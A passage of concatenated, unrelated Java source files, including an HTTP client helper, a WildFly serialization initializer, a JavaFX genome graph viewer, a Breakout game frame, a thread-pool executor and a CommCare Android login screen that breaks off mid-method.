return httpPost;
case DELETE:
logger.info("Making HTTP DELETE Request");
HttpDelete httpDelete = new HttpDelete(urlString + "?" + extractQueryString(nameValuePairs));
return httpDelete;
}
return null;
}
public Object executeHttpRequest(String urlString, HttpRequestMethod method, Map<String, String> params, ResponseHandler<Object> responseHandler)
throws IOException {
HttpUriRequest request = this.buildRequest(urlString, method, params);
return super.execute(request, responseHandler);
}
public Object executeHttpRequest(String urlString, HttpRequestMethod method, Map<String, String> params, Map<String, File> fileParams, ResponseHandler<Object> responseHandler)
throws IOException {
HttpUriRequest request = this.buildRequest(urlString, method, params, fileParams);
return super.execute(request, responseHandler);
}
private String extractQueryString(List<NameValuePair> params) {
return URLEncodedUtils.format(params, SailthruClient.DEFAULT_ENCODING);
}
}
|
package org.wildfly.clustering.marshalling.protostream;
import java.io.UncheckedIOException;
import java.util.EnumSet;
import java.util.List;
import org.infinispan.protostream.SerializationContext;
import org.infinispan.protostream.SerializationContextInitializer;
/**
* {@link SerializationContextInitializer} that registers a set of {@link SerializationContextInitializer} instances.
* @author Paul Ferraro
*/
public class CompositeSerializationContextInitializer implements SerializationContextInitializer {
private final Iterable<? extends SerializationContextInitializer> initializers;
public CompositeSerializationContextInitializer(SerializationContextInitializer initializer1, SerializationContextInitializer initializer2) {
this(List.of(initializer1, initializer2));
}
public CompositeSerializationContextInitializer(SerializationContextInitializer... initializers) {
this(List.of(initializers));
}
public <E extends Enum<E> & SerializationContextInitializer> CompositeSerializationContextInitializer(Class<E> enumClass) {
this(EnumSet.allOf(enumClass));
}
public CompositeSerializationContextInitializer(Iterable<? extends SerializationContextInitializer> initializers) {
this.initializers = initializers;
}
@Deprecated
@Override
public String getProtoFileName() {
return null;
}
@Deprecated
@Override
public String getProtoFile() throws UncheckedIOException {
return null;
}
@Override
public void registerSchema(SerializationContext context) {
for (SerializationContextInitializer initializer : this.initializers) {
initializer.registerSchema(context);
}
}
@Override
public void registerMarshallers(SerializationContext context) {
for (SerializationContextInitializer initializer : this.initializers) {
initializer.registerMarshallers(context);
}
}
}
|
package application.controllers;
import core.graph.Graph;
import core.graph.PhylogeneticTree;
import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
import javafx.collections.FXCollections;
import javafx.fxml.FXML;
import javafx.geometry.Rectangle2D;
import javafx.scene.control.Label;
import javafx.scene.control.ListView;
import javafx.scene.control.MenuBar;
import javafx.scene.control.ScrollPane;
import javafx.scene.layout.BorderPane;
import javafx.scene.layout.StackPane;
import javafx.scene.layout.VBox;
import javafx.scene.text.Text;
import javafx.scene.text.TextFlow;
import javafx.stage.Screen;
import java.io.IOException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.List;
import java.util.ResourceBundle;
/**
* MainController for GUI.
*/
public class MainController extends Controller<BorderPane> {
@FXML
private ScrollPane screen;
@FXML
private MenuBar menuBar;
private ListView list;
private TextFlow infoList;
private VBox listVBox;
private Text id;
private ScrollPane infoScroller;
private int currentView;
private GraphController graphController;
private TreeController treeController;
Rectangle2D screenSize;
/**
* Constructor to create MainController based on abstract Controller.
*/
public MainController() {
super(new BorderPane());
loadFXMLfile("/fxml/main.fxml");
fillGraph(null, new ArrayList<>());
}
/**
* Getter method for the current view level.
*
* @return the current view level.
*/
public int getCurrentView() {
return currentView;
}
/**
* Initialize method for the controller.
*
* @param location location for relative paths.
* @param resources resources to localize the root object.
*/
@SuppressFBWarnings("URF_UNREAD_FIELD")
public final void initialize(URL location, ResourceBundle resources) {
screenSize = Screen.getPrimary().getVisualBounds();
createMenu();
}
private void createInfoList(String info) {
listVBox = new VBox();
infoScroller = new ScrollPane();
listVBox.setPrefWidth(248.0);
listVBox.setMaxWidth(248.0);
infoScroller.setHbarPolicy(ScrollPane.ScrollBarPolicy.NEVER);
infoScroller.setVbarPolicy(ScrollPane.ScrollBarPolicy.NEVER);
infoScroller.prefHeightProperty().bind(listVBox.heightProperty());
infoScroller.prefWidth(screenSize.getWidth() / 5);
if (info.isEmpty()) {
createList();
}
createNodeInfo();
infoScroller.setContent(infoList);
listVBox.getChildren().addAll(list, infoScroller);
}
/**
* Create a list on the right side of the screen with all genomes.
*/
public void createList() {
list = new ListView<>();
list.setPlaceholder(new Label("No Genomes Loaded."));
list.prefHeightProperty().bind(listVBox.heightProperty());
list.prefWidthProperty().bind(listVBox.widthProperty());
list.setOnKeyPressed(graphController.getZoomController().getZoomBox().getKeyHandler());
infoScroller.setOnKeyPressed(graphController.getZoomController()
.getZoomBox().getKeyHandler());
list.setOnMouseClicked(event -> {
if (!(list.getSelectionModel().getSelectedItem() == null)) {
fillGraph(list.getSelectionModel().getSelectedItem(), new ArrayList<>());
try {
graphController.takeSnapshot();
} catch (IOException e) {
e.printStackTrace();
}
}
});
}
/**
* Create an info panel to show the information on a node.
*/
private void createNodeInfo() {
infoList = new TextFlow();
infoList.prefHeightProperty().bind(infoScroller.heightProperty());
infoList.prefWidthProperty().bind(infoScroller.widthProperty());
id = new Text();
id.setText("Select Node to view info");
infoList.getChildren().addAll(id);
}
/**
* Modify the information of the Node.
*
* @param id desired info.
*/
public void modifyNodeInfo(String id) {
this.id.setText(id);
}
/**
* Method to fill the graph.
*
* @param ref the reference string.
* @param selectedGenomes the genomes to display.
*/
public void fillGraph(Object ref, List<String> selectedGenomes) {
Graph graph = null;
if (graphController == null) {
try {
graph = new Graph();
currentView = graph.getLevelMaps().size() - 1;
} catch (IOException e) {
e.printStackTrace();
System.exit(0);
}
} else {
graph = graphController.getGraph();
}
graph.phyloSelection(selectedGenomes);
graphController = new GraphController(graph, ref, this, currentView, selectedGenomes);
screen = graphController.getRoot();
this.getRoot().setCenter(screen);
try {
graphController.takeSnapshot();
} catch (IOException e) {
e.printStackTrace();
}
graphController.getZoomController().createZoomBox();
StackPane zoombox = graphController.getZoomController().getZoomBox().getZoomBox();
this.getRoot().setBottom(zoombox);
graphController.initKeyHandler();
createInfoList("");
List<String> genomes = graphController.getGenomes();
genomes.sort(Comparator.naturalOrder());
list.setItems(FXCollections.observableArrayList(genomes));
showListVBox();
}
/**
* If selections are made in the phylogenetic tree,
* this method will visualize/highlight them specifically.
*
* @param s a List of selected strains.
*/
public void soloStrainSelection(List<String> s) {
graphController.getGraph().setGenomes(new ArrayList<>());
fillGraph(s.get(0), new ArrayList<>());
graphController.getZoomController().createZoomBox();
StackPane zoombox = graphController.getZoomController().getZoomBox().getZoomBox();
this.getRoot().setBottom(zoombox);
graphController.initKeyHandler();
createInfoList("");
List<String> genomes = graphController.getGenomes();
genomes.sort(Comparator.naturalOrder());
list.setItems(FXCollections.observableArrayList(genomes));
showListVBox();
}
/**
* If selections are made in the phylogenetic tree,
* this method will visualize/highlight them specifically.
*
* @param s a List of selected strains.
*/
public void strainSelection(List<String> s) {
Graph graph = null;
if (graphController == null) {
try {
graph = new Graph();
} catch (IOException e) {
e.printStackTrace();
System.exit(0);
}
} else {
graph = graphController.getGraph();
}
graph.phyloSelection(s);
graphController = new GraphController(graph, graph.getCurrentRef(), this, currentView, s);
screen = graphController.getRoot();
this.getRoot().setCenter(screen);
try {
graphController.takeSnapshot();
} catch (IOException e) {
e.printStackTrace();
}
graphController.getZoomController().createZoomBox();
StackPane zoombox = graphController.getZoomController().getZoomBox().getZoomBox();
this.getRoot().setBottom(zoombox);
graphController.initKeyHandler();
createInfoList("");
List<String> genomes = graphController.getGraph().getGenomes();
genomes.sort(Comparator.naturalOrder());
list.setItems(FXCollections.observableArrayList(genomes));
showListVBox();
}
/**
* Method to fill the phylogenetic tree.
*/
public void fillTree() {
try {
PhylogeneticTree pt = new PhylogeneticTree();
pt.setup();
treeController = new TreeController(pt, this,
this.getClass().getResourceAsStream("/metadata.xlsx"));
screen = treeController.getRoot();
this.getRoot().setCenter(screen);
this.getRoot().setBottom(null);
} catch (IOException e) {
e.printStackTrace();
}
hideListVBox();
}
/**
* Method to create the menu bar.
*/
public void createMenu() {
MenuFactory menuFactory = new MenuFactory(this);
menuBar = menuFactory.createMenu(menuBar);
this.getRoot().setTop(menuBar);
}
/**
* Switches the scene to the graph view.
*
* @param delta the diff in view to apply.
*/
public void switchScene(int delta) {
currentView += delta;
currentView = Math.max(0, currentView);
currentView = Math.min(13, currentView);
fillGraph(graphController.getGraph().getCurrentRef(),
graphController.getGraph().getGenomes());
}
/**
* Switches the scene to the phylogenetic tree view.
*/
public void switchTreeScene() {
fillTree();
}
/**
* Show the info panel.
*/
private void showListVBox() {
this.getRoot().setRight(listVBox);
}
/**
* Hide the info panel.
*/
private void hideListVBox() {
this.getRoot().getChildren().remove(listVBox);
}
/**
* Getter method for the graphController.
*
* @return the graphController.
*/
public GraphController getGraphController() {
return graphController;
}
/**
* Getter method for the treeController.
*
* @return the treeController.
*/
public TreeController getTreeController() {
return treeController;
}
/**
* Getter method for the MenuBar.
*
* @return the MenuBar.
*/
public MenuBar getMenuBar() {
return menuBar;
}
}
|
package br.gov.mj.sislegis.app.model;
import javax.persistence.*;
import javax.xml.bind.annotation.XmlRootElement;
import java.util.Date;
@Entity
@XmlRootElement
public class Andamento extends AbstractEntity{
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
@Column(name = "id", updatable = false, nullable = false)
private Long id;
@Column(length=2000)
private String descricao;
@Column(nullable = false)
@Temporal(TemporalType.TIMESTAMP)
private Date dataCriacao = new Date();
@ManyToOne(fetch = FetchType.EAGER)
private Usuario usuario;
@ManyToOne(fetch = FetchType.EAGER)
private Proposicao proposicao;
@Override
public Long getId() {
return this.id;
}
public void setId(final Long id) {
this.id = id;
}
public String getDescricao() {
return descricao;
}
public void setDescricao(String descricao) {
this.descricao = descricao;
}
public Date getDataCriacao() {
return dataCriacao;
}
public void setDataCriacao(Date data) {
this.dataCriacao = data;
}
public Usuario getUsuario() {
return usuario;
}
public void setUsuario(Usuario usuario) {
this.usuario = usuario;
}
public Proposicao getProposicao() {
return proposicao;
}
public void setProposicao(Proposicao proposicao) {
this.proposicao = proposicao;
}
@Override
public String toString() {
return "Andamento{" +
"id=" + id +
", descricao='" + descricao + '\'' +
", dataCriacao=" + dataCriacao +
", usuario=" + usuario +
", proposicao=" + proposicao +
'}';
}
}
|
package com.arellomobile.mvp;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import com.arellomobile.mvp.presenter.PresenterField;
import com.arellomobile.mvp.presenter.PresenterType;
public class MvpProcessor
{
private static final String TAG = "MvpProcessor";
public static final String PRESENTER_BINDER_SUFFIX = "$$PresentersBinder";
public static final String VIEW_STATE_SUFFIX = "$$State";
public static final String FACTORY_PARAMS_HOLDER_SUFFIX = "$$ParamsHolder";
public static final String PRESENTER_BINDER_INNER_SUFFIX = "Binder";
public static final String VIEW_STATE_CLASS_NAME_PROVIDER_SUFFIX = "$$ViewStateClassNameProvider";
/**
* Return all info about injected presenters and factories in view
*
* @param delegated class contains presenter
* @param <Delegated> type of delegated
* @return PresenterBinder instance
*/
private <Delegated> PresenterBinder<? super Delegated> getPresenterBinder(Class<? super Delegated> delegated)
{
PresenterBinder<Delegated> binder;
try
{
//noinspection unchecked
binder = (PresenterBinder<Delegated>) findPresenterBinderForClass(delegated);
}
catch (InstantiationException e)
{
throw new IllegalStateException("can not instantiate binder for " + delegated.getName(), e);
}
catch (IllegalAccessException e)
{
throw new IllegalStateException("have no access to binder for " + delegated.getName(), e);
}
return binder;
}
private <Delegated> PresenterBinder<? super Delegated> findPresenterBinderForClass(Class<Delegated> clazz)
throws IllegalAccessException, InstantiationException
{
PresenterBinder<? super Delegated> presenterBinder;
String clsName = clazz.getName();
String className = clsName + PRESENTER_BINDER_SUFFIX;
try
{
Class<?> presenterBinderClass = Class.forName(className);
//noinspection unchecked
presenterBinder = (PresenterBinder<? super Delegated>) presenterBinderClass.newInstance();
}
catch (ClassNotFoundException e)
{
return null;
}
//TODO add to binders array
return presenterBinder;
}
/**
* 1) Generates tag for identification MvpPresenter using params.
* Custom presenter factory should use interface {@link ParamsProvider}'s method annotated with {@link ParamsProvider} to provide params from view
* <p>
* {@link com.arellomobile.mvp.DefaultPresenterFactory} works with {@link com.arellomobile.mvp.DefaultPresenterFactory.Params}.
* Default factory doesn't need in special method of view to provide params. It takes param from {@link com.arellomobile.mvp.presenter.InjectPresenter} annotation fields
* <p>
* 2) Checks if presenter with tag is already exist in {@link com.arellomobile.mvp.PresenterStore}, and returns it.
* <p>
* 3)If {@link com.arellomobile.mvp.PresenterStore} doesn't contain MvpPresenter with current tag, {@link com.arellomobile.mvp.PresenterFactory} will create it
*
* @param presenterField info about presenter from {@link com.arellomobile.mvp.presenter.InjectPresenter}
* @param delegated class contains presenter
* @param delegateTag unique tag generated by {@link MvpDelegate#generateTag()}
* @param <Delegated> type of delegated
* @return MvpPresenter instance
*/
private <Delegated> MvpPresenter<? super Delegated> getMvpPresenter(PresenterField<? super Delegated> presenterField, Delegated delegated, String delegateTag)
{
Class<? extends MvpPresenter<?>> presenterClass = presenterField.getPresenterClass();
Class<? extends PresenterFactory<?, ?>> presenterFactoryClass = presenterField.getFactory();
ParamsHolder<?> holder = MvpFacade.getInstance().getPresenterFactoryStore().getParamsHolder(presenterField.getParamsHolderClass());
PresenterStore presenterStore = MvpFacade.getInstance().getPresenterStore();
PresenterFactory presenterFactory = MvpFacade.getInstance().getPresenterFactoryStore().getPresenterFactory(presenterFactoryClass);
Object params = holder.getParams(presenterField, delegated, delegateTag);
//TODO throw exception
//noinspection unchecked
String tag = presenterFactory.createTag(presenterClass, params);
PresenterType type = presenterField.getPresenterType();
//noinspection unchecked
MvpPresenter<? super Delegated> presenter = presenterStore.get(type, tag, presenterClass);
if (presenter != null)
{
return presenter;
}
//noinspection unchecked
presenter = presenterFactory.createPresenter(presenterField.getDefaultInstance(), presenterClass, params);
presenter.setPresenterType(type);
presenter.setTag(tag);
presenterStore.add(type, tag, presenter);
return presenter;
}
/**
* Gets presenters {@link java.util.List} annotated with {@link com.arellomobile.mvp.presenter.InjectPresenter} for view.
* <p>
* See full info about getting presenter instance in {@link #getMvpPresenter}
*
* @param delegated class contains presenter
* @param delegateTag unique tag generated by {@link MvpDelegate#generateTag()}
* @param <Delegated> type of delegated
* @return presenters list for specifies presenters container
*/
<Delegated> List<MvpPresenter<? super Delegated>> getMvpPresenters(Delegated delegated, String delegateTag)
{
@SuppressWarnings("unchecked")
Class<? super Delegated> aClass = (Class<Delegated>) delegated.getClass();
List<PresenterBinder<? super Delegated>> presenterBinders = new ArrayList<>();
while (aClass != Object.class)
{
PresenterBinder<? super Delegated> presenterBinder = MvpFacade.getInstance().getMvpProcessor().getPresenterBinder(aClass);
aClass = aClass.getSuperclass();
if (presenterBinder == null)
{
continue;
}
presenterBinder.setTarget(delegated);
presenterBinders.add(presenterBinder);
}
if (presenterBinders.isEmpty())
{
return Collections.emptyList();
}
List<MvpPresenter<? super Delegated>> presenters = new ArrayList<>();
for (PresenterBinder<? super Delegated> presenterBinder : presenterBinders)
{
List<? extends PresenterField<? super Delegated>> presenterFields = presenterBinder.getPresenterFields();
for (PresenterField<? super Delegated> presenterField : presenterFields)
{
MvpPresenter<? super Delegated> presenter = getMvpPresenter(presenterField, delegated, delegateTag);
if (presenter != null)
{
presenters.add(presenter);
presenterField.setValue(presenter);
}
}
}
return presenters;
}
}
|
package com.gmail.jameshealey1994.breakout;
import java.awt.BorderLayout;
import java.awt.Color;
import java.awt.Dimension;
import javax.swing.JFrame;
/**
* GUI for Breakout Game.
*
* @author JamesHealey94 <jameshealey1994.gmail.com>
*/
public class GameGUI extends JFrame {
/**
* JPanel used to display the Game.
*/
private final GamePanel gamePanel;
/**
* Constructor - Sets up JFrame.
*/
GameGUI() {
this.setTitle("Breakout");
this.setBackground(Color.LIGHT_GRAY);
this.setDefaultCloseOperation(DISPOSE_ON_CLOSE); // TODO fix NPE in DisplayManager on close.
//this.setIconImage(null); // TODO create Icon
this.setLayout(new BorderLayout());
gamePanel = new GamePanel(); // TODO should it be double buffered?
this.add(gamePanel, BorderLayout.CENTER);
gamePanel.setPreferredSize(new Dimension(640, 480));
//this.setResizable(false); TODO fix display issue when resizing.
this.pack();
}
/**
* Starts a Breakout game in the Game Panel.
*/
public void start() {
final Thread thread = new Thread(gamePanel);
thread.start();
}
}
|
package broadwick.concurrent;
import broadwick.BroadwickException;
import com.google.common.base.Throwables;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.concurrent.Callable;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
import lombok.Getter;
import lombok.extern.slf4j.Slf4j;
/**
* This Executor controls the execution of several threads using a fixed thread pool. Several instances of the callable
* object are added to the execution pool which monitors their execution, if any fails, i.e. any of the jobs throws an
* exception, then all non-running jobs are cancelled and currently running jobs are terminated.
*/
@Slf4j
public class LocalPoolExecutor implements Executor {
/**
* Create the Callable executor that will run 'threadPoolSize' instances of callableInst cancelling the execution if
* a thread throws an exception.
* @param threadPoolSize the number of concurrent threads to be run (the size of the thread pool)
* @param numInstancesToRun the number of threads to be run.
* @param callable the actual Callable instance that is to be executed in the pool.
*/
public LocalPoolExecutor(final int threadPoolSize, final int numInstancesToRun, final Callable<?> callable) {
poolSize = threadPoolSize;
numRuns = numInstancesToRun;
job = callable;
service = Executors.newFixedThreadPool(poolSize);
}
@Override
public final Status getStatus() {
return status;
}
@Override
public final void run() {
final List<Future<?>> tasks = new ArrayList<>();
final CountDownLatch latch = new CountDownLatch(numRuns);
status = Executor.Status.RUNNING;
// Submit all the Callable objects to the executor, counting down the latch
// when eah submitted job is finished. If any of the jobs throws an exception,
// it will be wrapped in an ExecutionException by the Future and we will check for it later.
for (int i = 0; i < numRuns; i++) {
final int taskId = i;
log.trace("Adding task {} to the executor service.", i);
tasks.add(service.submit(new Runnable() {
@Override
public void run() {
try {
job.call();
} catch (Exception e) {
ok = false;
throw new BroadwickException(e);
} finally {
log.debug("Completed task {}", taskId);
latch.countDown();
}
}
}));
}
// We now have all the jobs submitted to the executor service. Now we iteratively check the status of each
// job (sleeping for 100ms between checks) to determine if each job has been completed. If any job
// fails then we catch the resultant ExecutionException and cancel all remaining jobs.
int completedTasks = 0;
while (completedTasks < tasks.size()) {
try {
final Iterator<Future<?>> iterator = tasks.iterator();
while (iterator.hasNext()) {
final Future<?> task = iterator.next();
if (task.isDone()) {
completedTasks++;
task.get();
iterator.remove();
} else if (task.isCancelled()) {
stopAllTasks(tasks);
}
}
Thread.sleep(100);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
status = Executor.Status.TERMINATED;
ok = false;
break;
} catch (ExecutionException e) {
// One of the submitted jobs threw an exception, we need to stop all the currently running threads.
log.error("{}", Throwables.getStackTraceAsString(e));
stopAllTasks(tasks);
service.shutdown();
status = Executor.Status.TERMINATED;
ok = false;
break;
}
}
try {
if (status != Executor.Status.TERMINATED) {
latch.await();
}
} catch (InterruptedException e) {
log.error("Caught exception closing failed tasks");
status = Executor.Status.TERMINATED;
}
shutdown();
}
/**
* Send a message to all the futures to cancel their execution. On completion the status of the executor is set to
* Executor.Status.TERMINATED.
* @param tasks a collection of future object that are to be stopped.
*/
private void stopAllTasks(final List<Future<?>> tasks) {
for (Future<?> task : tasks) {
task.cancel(true);
}
status = Executor.Status.TERMINATED;
}
/**
* Shutdown the ExecutionService, blocking until ALL the threads have finished before returning.
*/
private void shutdown() {
log.trace("Shutting down the LocalPoolExecutor");
try {
service.shutdown();
service.awaitTermination(1000, TimeUnit.MILLISECONDS);
log.trace("LocalPoolExecutor succesfully shutdown");
status = Executor.Status.COMPLETED;
} catch (InterruptedException e) {
// Nothing to do - we are shuting done the service
Thread.currentThread().interrupt();
status = Executor.Status.TERMINATED;
} catch (Exception e) {
// Nothing to do - we are shuting done the service
status = Executor.Status.TERMINATED;
}
}
private final int poolSize;
private final int numRuns;
private final Callable<?> job;
private final ExecutorService service;
private Status status = Executor.Status.NOT_STARTED;
@Getter
private boolean ok = true; /// true if the underlying task completed without error, false otherwise
}
|
package org.commcare.dalvik.activities;
import android.content.Intent;
import android.content.SharedPreferences;
import android.graphics.Bitmap;
import android.os.Build;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.text.Editable;
import android.text.InputType;
import android.text.TextWatcher;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.ViewTreeObserver.OnGlobalLayoutListener;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemSelectedListener;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.Spinner;
import android.widget.TextView;
import android.widget.Toast;
import org.commcare.android.database.SqlStorage;
import org.commcare.android.database.app.models.UserKeyRecord;
import org.commcare.android.database.global.models.ApplicationRecord;
import org.commcare.android.framework.CommCareActivity;
import org.commcare.android.framework.ManagedUi;
import org.commcare.android.framework.UiElement;
import org.commcare.android.javarosa.AndroidLogger;
import org.commcare.android.models.notifications.MessageTag;
import org.commcare.android.models.notifications.NotificationMessage;
import org.commcare.android.models.notifications.NotificationMessageFactory;
import org.commcare.android.models.notifications.NotificationMessageFactory.StockMessages;
import org.commcare.android.tasks.DataPullTask;
import org.commcare.android.tasks.ManageKeyRecordListener;
import org.commcare.android.tasks.ManageKeyRecordTask;
import org.commcare.android.tasks.templates.HttpCalloutTask.HttpCalloutOutcomes;
import org.commcare.android.util.ACRAUtil;
import org.commcare.android.util.DemoUserUtil;
import org.commcare.android.util.SessionUnavailableException;
import org.commcare.android.view.ViewUtil;
import org.commcare.dalvik.R;
import org.commcare.dalvik.application.CommCareApp;
import org.commcare.dalvik.application.CommCareApplication;
import org.commcare.dalvik.dialogs.CustomProgressDialog;
import org.commcare.dalvik.preferences.CommCarePreferences;
import org.javarosa.core.services.Logger;
import org.javarosa.core.services.locale.Localization;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.ArrayList;
/**
* @author ctsims
*/
@ManagedUi(R.layout.screen_login)
public class LoginActivity extends CommCareActivity<LoginActivity> implements OnItemSelectedListener {
private static final String TAG = LoginActivity.class.getSimpleName();
public static final int MENU_DEMO = Menu.FIRST;
public static final String NOTIFICATION_MESSAGE_LOGIN = "login_message";
public static final String ALREADY_LOGGED_IN = "la_loggedin";
public final static String KEY_LAST_APP = "id_of_last_selected";
public static final int SEAT_APP_ACTIVITY = 0;
public final static String KEY_APP_TO_SEAT = "app_to_seat";
@UiElement(value=R.id.login_button, locale="login.button")
Button login;
@UiElement(value = R.id.screen_login_bad_password, locale = "login.bad.password")
TextView errorBox;
@UiElement(value=R.id.edit_username, locale="login.username")
EditText username;
@UiElement(value=R.id.edit_password, locale="login.password")
EditText password;
@UiElement(R.id.screen_login_banner_pane)
View banner;
@UiElement(R.id.str_version)
TextView versionDisplay;
@UiElement(R.id.login_button)
Button loginButton;
@UiElement(R.id.app_selection_spinner)
Spinner spinner;
@UiElement(R.id.welcome_msg)
TextView welcomeMessage;
public static final int TASK_KEY_EXCHANGE = 1;
SqlStorage<UserKeyRecord> storage;
private ArrayList<String> appIdDropdownList = new ArrayList<>();
private final TextWatcher textWatcher = new TextWatcher() {
@Override
public void beforeTextChanged(CharSequence s, int start, int count, int after) {
}
@Override
public void onTextChanged(CharSequence s, int start, int before, int count) {
}
@Override
public void afterTextChanged(Editable s) {
setStyleDefault();
}
};
public void setStyleDefault() {
setLoginBoxesColorNormal();
username.setCompoundDrawablesWithIntrinsicBounds(getResources().getDrawable(R.drawable.icon_user_neutral50), null, null, null);
password.setCompoundDrawablesWithIntrinsicBounds(getResources().getDrawable(R.drawable.icon_lock_neutral50), null, null, null);
loginButton.setBackgroundColor(getResources().getColor(R.color.cc_brand_color));
loginButton.setTextColor(getResources().getColor(R.color.cc_neutral_bg));
errorBox.setVisibility(View.GONE);
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
username.setInputType(InputType.TYPE_TEXT_FLAG_NO_SUGGESTIONS | InputType.TYPE_TEXT_VARIATION_VISIBLE_PASSWORD);
setLoginBoxesColorNormal();
final SharedPreferences prefs = CommCareApplication._().getCurrentApp().getAppPreferences();
//Only on the initial creation
if(savedInstanceState == null) {
String lastUser = prefs.getString(CommCarePreferences.LAST_LOGGED_IN_USER, null);
if(lastUser != null) {
username.setText(lastUser);
password.requestFocus();
}
}
login.setOnClickListener(new OnClickListener() {
public void onClick(View arg0) {
errorBox.setVisibility(View.GONE);
ViewUtil.hideVirtualKeyboard(LoginActivity.this);
//Try logging in locally
if(tryLocalLogin(false)) {
return;
}
startOta();
}
});
username.addTextChangedListener(textWatcher);
password.addTextChangedListener(textWatcher);
versionDisplay.setText(CommCareApplication._().getCurrentVersionString());
username.setHint(Localization.get("login.username"));
password.setHint(Localization.get("login.password"));
final View activityRootView = findViewById(R.id.screen_login_main);
activityRootView.getViewTreeObserver().addOnGlobalLayoutListener(new OnGlobalLayoutListener() {
@Override
public void onGlobalLayout() {
int hideAll = LoginActivity.this.getResources().getInteger(R.integer.login_screen_hide_all_cuttoff);
int hideBanner = LoginActivity.this.getResources().getInteger(R.integer.login_screen_hide_banner_cuttoff);
int height = activityRootView.getHeight();
if(height < hideAll) {
versionDisplay.setVisibility(View.GONE);
banner.setVisibility(View.GONE);
} else if(height < hideBanner) {
banner.setVisibility(View.GONE);
} else {
// Override default CommCare banner if requested
String customBannerURI = prefs.getString(CommCarePreferences.BRAND_BANNER_LOGIN, "");
if (!"".equals(customBannerURI)) {
Bitmap bitmap = ViewUtil.inflateDisplayImage(LoginActivity.this, customBannerURI);
if (bitmap != null) {
ImageView bannerView = (ImageView) banner.findViewById(R.id.main_top_banner);
bannerView.setImageBitmap(bitmap);
}
}
banner.setVisibility(View.VISIBLE);
}
}
});
}
public String getActivityTitle() {
//TODO: "Login"?
return null;
}
private void startOta() {
// We should go digest auth this user on the server and see whether to
// pull them down.
SharedPreferences prefs = CommCareApplication._().getCurrentApp().getAppPreferences();
// TODO Auto-generated method stub
// TODO: we don't actually always want to do this. We need to have an
// alternate route where we log in locally and sync (with unsent form
// submissions) more centrally.
DataPullTask<LoginActivity> dataPuller =
new DataPullTask<LoginActivity>(getUsername(), password.getText().toString(),
prefs.getString("ota-restore-url", LoginActivity.this.getString(R.string.ota_restore_url)),
prefs.getString("key_server", LoginActivity.this.getString(R.string.key_server)),
LoginActivity.this) {
@Override
protected void deliverResult( LoginActivity receiver, Integer result) {
if (result == null) {
// The task crashed unexpectedly
receiver.raiseLoginMessage(StockMessages.Restore_Unknown, true);
return;
}
switch(result) {
case DataPullTask.AUTH_FAILED:
receiver.raiseLoginMessage(StockMessages.Auth_BadCredentials, false);
break;
case DataPullTask.BAD_DATA:
receiver.raiseLoginMessage(StockMessages.Remote_BadRestore, true);
break;
case DataPullTask.DOWNLOAD_SUCCESS:
if(!tryLocalLogin(true)) {
receiver.raiseLoginMessage(StockMessages.Auth_CredentialMismatch, true);
}
break;
case DataPullTask.UNREACHABLE_HOST:
receiver.raiseLoginMessage(StockMessages.Remote_NoNetwork, true);
break;
case DataPullTask.CONNECTION_TIMEOUT:
receiver.raiseLoginMessage(StockMessages.Remote_Timeout, true);
break;
case DataPullTask.SERVER_ERROR:
receiver.raiseLoginMessage(StockMessages.Remote_ServerError, true);
break;
case DataPullTask.UNKNOWN_FAILURE:
receiver.raiseLoginMessage(StockMessages.Restore_Unknown, true);
break;
}
}
@Override
protected void deliverUpdate(LoginActivity receiver, Integer... update) {
if(update[0] == DataPullTask.PROGRESS_STARTED) {
receiver.updateProgress(Localization.get("sync.progress.purge"), DataPullTask.DATA_PULL_TASK_ID);
} else if(update[0] == DataPullTask.PROGRESS_CLEANED) {
receiver.updateProgress(Localization.get("sync.progress.authing"), DataPullTask.DATA_PULL_TASK_ID);
} else if(update[0] == DataPullTask.PROGRESS_AUTHED) {
receiver.updateProgress(Localization.get("sync.progress.downloading"), DataPullTask.DATA_PULL_TASK_ID);
} else if(update[0] == DataPullTask.PROGRESS_DOWNLOADING) {
receiver.updateProgress(Localization.get("sync.process.downloading.progress", new String[] {String.valueOf(update[1])}), DataPullTask.DATA_PULL_TASK_ID);
} else if(update[0] == DataPullTask.PROGRESS_PROCESSING) {
receiver.updateProgress(Localization.get("sync.process.processing", new String[] {String.valueOf(update[1]), String.valueOf(update[2])}), DataPullTask.DATA_PULL_TASK_ID);
receiver.updateProgressBar(update[1], update[2], DataPullTask.DATA_PULL_TASK_ID);
} else if(update[0] == DataPullTask.PROGRESS_RECOVERY_NEEDED) {
receiver.updateProgress(Localization.get("sync.recover.needed"), DataPullTask.DATA_PULL_TASK_ID);
} else if(update[0] == DataPullTask.PROGRESS_RECOVERY_STARTED) {
receiver.updateProgress(Localization.get("sync.recover.started"), DataPullTask.DATA_PULL_TASK_ID);
}
}
@Override
protected void deliverError( LoginActivity receiver, Exception e) {
receiver.raiseLoginMessage(StockMessages.Restore_Unknown, true);
}
};
dataPuller.connect(this);
dataPuller.execute();
}
@Override
protected void onResume() {
super.onResume();
try {
//TODO: there is a weird circumstance where we're logging in somewhere else and this gets locked.
if (CommCareApplication._().getSession().isActive() && CommCareApplication._().getSession().getLoggedInUser() != null) {
Intent i = new Intent();
i.putExtra(ALREADY_LOGGED_IN, true);
setResult(RESULT_OK, i);
CommCareApplication._().clearNotifications(NOTIFICATION_MESSAGE_LOGIN);
finish();
return;
}
} catch (SessionUnavailableException sue) {
// Nothing, we're logging in here anyway
}
// It is possible that we left off at the LoginActivity last time we were on the main CC
// screen, but have since done something in the app manager to either leave no seated app
// at all, or to render the seated app unusable. Redirect to CCHomeActivity if we encounter
// either case
CommCareApp currentApp = CommCareApplication._().getCurrentApp();
